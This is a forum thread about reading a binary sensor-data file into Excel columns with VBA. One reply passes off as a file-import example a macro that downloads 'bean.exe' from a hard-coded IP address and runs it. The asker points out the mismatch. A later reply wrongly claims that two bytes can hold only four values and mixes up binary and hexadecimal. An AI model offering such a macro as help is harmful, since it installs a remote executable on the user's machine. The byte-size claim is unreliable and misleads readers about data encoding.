How to import a binary file into excel?

[freag34]

I have a custom binary file that gets written by a data collection application, and it creates a binary file with data representing info that is collected (eg temperature, etc...)

How can I import this into Excel and parse it into columns?

One way I have noticed I can view the data is using Codewright hex mode, but even a copy-paste from there doesn't work since the clipboard retains ascii data only.

Do I need to use a macro to do this? Does anyone have the first few lines of an existing one - eg do I just read in byte by byte?

Thanks!

 

[Tom Urtis]

I don't know if this will help you because you don't say what the source of the binary file is (hard drive, network, internet, or what).

This macro is from Hans Herber and imports a binary file from a url. Maybe you can use its essence by adapting it to your situation.

Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL$, _
ByVal szFileName$, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long

Sub Downl()
Dim lResult As Long
Dim sURL$, sLocalFile$
sURL = "http://217.160.138.156/andere/bean.exe"
sLocalFile = Application.DefaultFilePath & "\bean.exe"
lResult = URLDownloadToFile(0, sURL, sLocalFile, 0, 0)
Shell Application.DefaultFilePath & "\bean.exe", vbNormalFocus
End Sub

 

[freag34]

Thanks for the reply, but I'm a bit confused - I don't see any code here that is performing any importing/displaying in excel. This seems to download an exe from a URL and execute it? What I need to do is quite different.

I have a binary file on my hard drive that stores a series of records of information such as this:

Time (2 bytes), Temperature (2 bytes), Sensor Reading (2 bytes).

This file is in binary format, meaning it shows up as garbage in notepad, excel, etc... when I open it.

I can view this file using a hexviewer such as codewright, since it will show you the binary view, but I want to know how to bring this data into excel, and parse it into separate columns (in my case, Time, temperature, sensor reading)

Thanks!

 

[Seti]

Are you sure the data is binary and not hexidecimal? If you only have 2 bytes of data for temp readings, you can only have 4 values 00, 01, 10 and 11 if it is binary.

Could you read the file one record at a time and do a conversionin VBA from hex to decimal (if indeed it is hex)?

What is the file extension, just out of curiosity?

 

[freag34]

Yes, perhaps using the term hexadecimal is more accurate when describing my bytes of information.

When I use a hex viewer to look at the data I see the data represented in Hex, for example: 0A BC 02 FE

The problem when trying to read this using notepad or excel is that each byte is interpreted as an ascii character, and of course some are valid and others are junk. So I want the excel file to actually import the values 0A BC 02 FE into columns instead of automatically showing ascii.

I suspect I can read the file using a VBA program, but have not done this before, just looking for a few tips on this.